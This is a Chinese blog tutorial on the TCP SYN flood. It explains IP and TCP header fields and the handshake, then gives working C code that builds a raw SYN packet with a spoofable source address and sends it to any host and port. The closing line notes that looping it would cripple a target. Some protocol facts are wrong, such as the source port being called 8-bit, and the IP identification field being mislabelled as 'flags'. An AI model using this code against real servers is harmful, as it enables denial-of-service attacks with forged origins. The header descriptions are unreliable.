引言
2019年,我的服务器遭遇了DDOS泛洪攻击,一怒之下,我便开始研究“网络攻防”,想着打回去。一眨眼4年过去了,本打算屠龙的我,自己却手握屠龙刀,成为了当初的那个屠龙少年
DDOS分有很多种,我只介绍TCP SYN flood(TCP SYN泛洪攻击)
,这是最常用的,也是效果最好的
免责声明:本篇文章仅仅是科普,作为学习案例,本人不承担任何法律后果
IP数据报
- 版本(4 bit):一般都是ip-v4,值为0100。如果是ip-v6,值为0110
- 首部长度(4bit): 4bit最大值为15。单位是行。IP首部默认是20字节,也就是5行。
- 服务类型(8bit):区分服务时,这个字段才起作用,在一般的情况下都不使用这个字段。
- 总长度(16bit):IP报文总长,包含首部和数据(TCP/UDP+data)。最小是20个字节。
- 标志(16bit):唯一值,标识一个报文的所有分包。因为分片不一定按序到达,所以在重组时需要知道分片所属的报文。每产生一个数据报,计数器加1,并赋值给此字段。
- 其他的暂时不作介绍,后期有需要再来补充
TCP数据报
- 源端口:发送端所使用的端口,这里有8bit存储空间,所以理论上端口的范围是0~2^8(65535)
- 目的端口:接收方使用的端口
- 序号:seq。表明当前发送到第几个数据了。假如是第一次发送,也就是SYN阶段,这就是一个随机数;否则,该序号就是上次发送的序号+1。后续的作用就是数据块的同步
- 确认号:ack。表明本端已经接收到的数据,实际上告诉对方,在这个序号减1以前的字节已正确接收。若该数据包是整个TCP连接中的第一个包(SYN包),则确认号一般为0,换句话说,就是还未接收数据。只有ACK标志位为1时,确认序号字段才有效
- 数据偏移:TCP首部一般情况下是20个字节(在没有可变内容的情况下),每4个字节(32bit)为固定的一行,那真正的数据应该在第6行出现,因为前面5行都是首部。所以数据偏移的值默认是5
- 标志位:这里有多个标识位,都有各自的用途,常用的是SYN和ACK,这里不赘述了。需要注意的是:不要将确认序号Ack与标志位中的ACK搞混了。ACK确认标志用于确认数据包的成功接收,也用于握手和挥手的确认
- 选项(可变):用于支持一些特殊的变量,比如最大分组长度(MSS)。TCP协议会根据这个字段进行拆包
- 填充:用户保证可变选项为32bit的整数倍,也就是保证一行。我猜测可能是内存对齐的原因吧,这样会提高传输的效率。
TCP校验和算法
- 将校验和字段置为0,然后将IP包头按16比特分成多个单元,如包头长度不是16比特的倍数,则用0比特填充到16比特的倍数;
- 对各个单元采用反码加法运算(即高位溢出位会加到低位,通常的补码运算是直接丢掉溢出的高位),将得到的和的反码填入校验和字段;
- 发送数据包。
TCP工作流程
三次握手
- 客户端SYN标记为1,seq序号=0(这里的0不是真正意义上的0,是相对位置),然后将包发给服务端,并进入SYN_SEND状态
- 服务端将SYN标记为1,seq序号=0。ACK标记为1,确认号为0+1=1。将包发送给客户端,进入SYN_RECV状态
- 客户端将ACK标记为1,将确认号标记为1。将包发送给服务端,并进入ESTABLISH状态。
- 服务端收到确认包,也进入ESTABLISH状态。
- 此时双方开始发送数据,其实在3阶段,客户端就可以和请求数据一并发送到服务端
通俗易懂的解释
发SYN就代表写数据,seq:我发到哪个数据了;发ACK就代表读数据,ack:我读到哪个数据了。有篇文章分析得非常好,地址是:https://zhuanlan.zhihu.com/p/53338327
- 客户端发送SYN,seq=0,告诉服务端,我要开始建立连接了,但是我需要先同步一下seq号,你需要把seq+1返回给我,我判断,如果有误,我就拒绝连接
- 服务端收到之后,发送SYN/ACK seq=0,ack=0+1(这里的1代表相对位置)。意思是,我这边收到请求了,我会将你发过来的序号在ack返回给你,但是我这边也要收到你的确认,否则我也不连接。我给你发个seq,你那边回复我下。回复校验我就连接你。
- 收到ack了,并且合法,我再给你发一个确认的ack,不然你不跟我连接。于是又发了ACK标记。ack=1
- 三次握手建立成功,开始传输数据
举个例子
- 客户端发送http请求"GET / HTTP1.1 acb" 此时seq是1,ack也是1
- 服务器如果收到请求,就要回ACK,ack = 1+接收到内容长度,seq=1
- 客户端收到服务端的ACK之后,会将seq=服务器的ack,ack = 1,然后就停了
这样既可以保证顺序正确,也不丢包
数据报传输流程
数据报结构:IP{iphdr+TCP{tcphdr+data}}
发送数据
- 客户端在应用层(HTTP/FTP)生成数据,传到TCP层
- TCP层将数据包装一下,并在数据包外堆叠TCP报首(端口信息)
- IP层堆叠报首(ip地址)
- 数据链路层堆叠报首(MAC地址)
接收数据
- 数据链路层拿到数据包,判断mac地址是否匹配,不匹配就丢包
- IP层判断ip地址是否匹配
- TCP层判断端口是否匹配,然后将数据分发到指定的应用。还可能会存在端口转发的情况
- http层进行数据解析和处理
代码实战
用C语言构造一个TCP SYN(三次握手第一步)数据包发送到服务器,代码写于2019年,不能保证当下时间有效,仅作为学习用途
//
// Created by wu on 2019-12-09.
//
#include <stdio.h>
#include <netinet/ip.h>//Provides declarations for ip header
#include <netinet/tcp.h>//Provides declarations for tcp header
#include <arpa/inet.h>
#include <stdlib.h> //for exit(0);
#include <string.h> //memset,memcpy
#include <errno.h>
//needed for checksum calculation
struct pseudo_header_tcp {
unsigned int source_address;
unsigned int dest_address;
unsigned char placeholder;
unsigned char protocol;
unsigned short tcp_length;
};
//checksum is 16bit,should use unsigned short
static unsigned short calculate_checkcsum(unsigned short *ptr, int pktlen) {
register uint32_t csum = 0;
//add 2 bytes / 16 bits at a time!!
while (pktlen > 1) {
csum += *ptr++;
pktlen -= 2;
}
//add the last byte if present
if (pktlen == 1) {
csum += *(uint8_t *) ptr;
}
//add the carries
csum = (csum >> 16) + (csum & 0xffff);
csum = csum + (csum >> 16);
//return the one's compliment of calculated sum
return ((short) ~csum);
}
unsigned short src_port = 0;
unsigned int src_inet_addr = 0;
unsigned short dst_port = 0;
unsigned int dst_inet_addr = 0;
int main(int argc, char *argv[]) {
if (argc < 5) {
printf("usage:./<script name> <src ip> <src port> <dst ip> <dst port>\n");
exit(1);
}
int i;
for (i = 1; i < argc; i++) {
if (i == 1) {
printf("src_ip = %s\n", argv[i]);
src_inet_addr = inet_addr(argv[i]);
continue;
}
if (i == 2) {
src_port = (unsigned short) atoi(argv[i]);
printf("src_port = %d\n", src_port);
continue;
}
if (i == 3) {
printf("dst_ip = %s\n", argv[i]);
dst_inet_addr = inet_addr(argv[i]);
continue;
}
if (i == 4) {
dst_port = (unsigned short) atoi(argv[i]);
printf("dst_port = %d\n", dst_port);
continue;
}
}
// tcp-datagram packet.size is size of iphdr + size of tcphdr
char datagram[sizeof(struct iphdr) + sizeof(struct tcphdr)];
bzero(datagram, sizeof(datagram));
// 将 ip 首部指针和 tcp 首部指针指向各自的位置,
struct iphdr *ip_header = (struct iphdr *) datagram;
struct tcphdr *tcp_header = (struct tcphdr *) (datagram + sizeof(struct iphdr));
// 填充 ip 首部字段
ip_header->ihl = 5; //普通 IP 数据报
ip_header->version = 4; //IPv4
ip_header->tos = 0;
ip_header->tot_len = sizeof(datagram);
ip_header->id = 0; //自定 IP 包标识,方便筛选
ip_header->frag_off = 0;
ip_header->ttl = 255;
ip_header->protocol = IPPROTO_TCP; //指定承载的是 TCP 数据包
ip_header->check = 0; //之后需要计算校验和
ip_header->saddr = src_inet_addr;
ip_header->daddr = dst_inet_addr;
//计算 ip 校验和,两个字节
ip_header->check = calculate_checkcsum((unsigned short *) datagram, sizeof(datagram));
// 填充 tcp 首部字段
tcp_header->source = htons(src_port); //htons means host to network short
tcp_header->dest = htons(dst_port); //if spec value < 255(8bit) , there is no need to use htons
tcp_header->seq = 0; //自定义 seq 序号,方便筛选
tcp_header->ack_seq = 0;
tcp_header->doff = 5; //tcp header size ,5行,每行4个字节(32bit)
tcp_header->fin = 0;
tcp_header->syn = 1; //构造三次握手中的第一次,SYN 置 1
tcp_header->rst = 0;
tcp_header->psh = 0;
tcp_header->ack = 0;
tcp_header->urg = 0;
tcp_header->window = htons(65535);
tcp_header->check = 0; //之后需要计算校验和
tcp_header->urg_ptr = 0;
//借助伪头部计算 tcp 校验和
int psize = sizeof(struct pseudo_header_tcp) + sizeof(struct tcphdr);
char *pseudogram = malloc(psize);
bzero(pseudogram, psize);
struct pseudo_header_tcp *psh = (struct pseudo_header_tcp *) pseudogram;
psh->source_address = src_inet_addr;
psh->dest_address = dst_inet_addr;
psh->placeholder = 0;
psh->protocol = IPPROTO_TCP;
psh->tcp_length = htons(sizeof(struct tcphdr));
memcpy(pseudogram + sizeof(struct pseudo_header_tcp), tcp_header, sizeof(struct tcphdr));
//计算 tcp 校验和
tcp_header->check = calculate_checkcsum((unsigned short *) pseudogram, psize);
//↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑至此,第一次握手的 TCP/IP 数据包构造完毕↑↑↑↑↑↑↑↑↑↑↑↑
// 创建一个使用 TCP/IP 协议并可以构造首部数据的 raw_socket
int send_socket = -1;
int one = 1;
const int *val = &one;
if ((send_socket = socket(AF_INET, SOCK_RAW, IPPROTO_IPIP)) < 0) {
return -1;
}
if (setsockopt(send_socket, IPPROTO_IP, IP_HDRINCL, val, sizeof(one)) < 0) {
return -1;
}
// 根据指定 ip 和端口,发送探测包
struct sockaddr_in dest;
memset(&dest, 0, sizeof(dest));
dest.sin_family = AF_INET;
dest.sin_port = htons(dst_port);
dest.sin_addr.s_addr = dst_inet_addr;
ssize_t bytes_sent = sendto(
send_socket, datagram, sizeof(datagram),
0, (struct sockaddr *) &dest, sizeof(dest)
);
if (bytes_sent < 0) {
printf("ERROR(%d):%s\n", errno, strerror(errno));
} else {
printf("%zu bytes send success !\n", bytes_sent);
}
// sockfd should close here !
return 0;
}
这个代码如果循环执行,短时间内发送无数个SYN包,会对目标服务器造成毁灭性打击,大家千万不要这么做!!!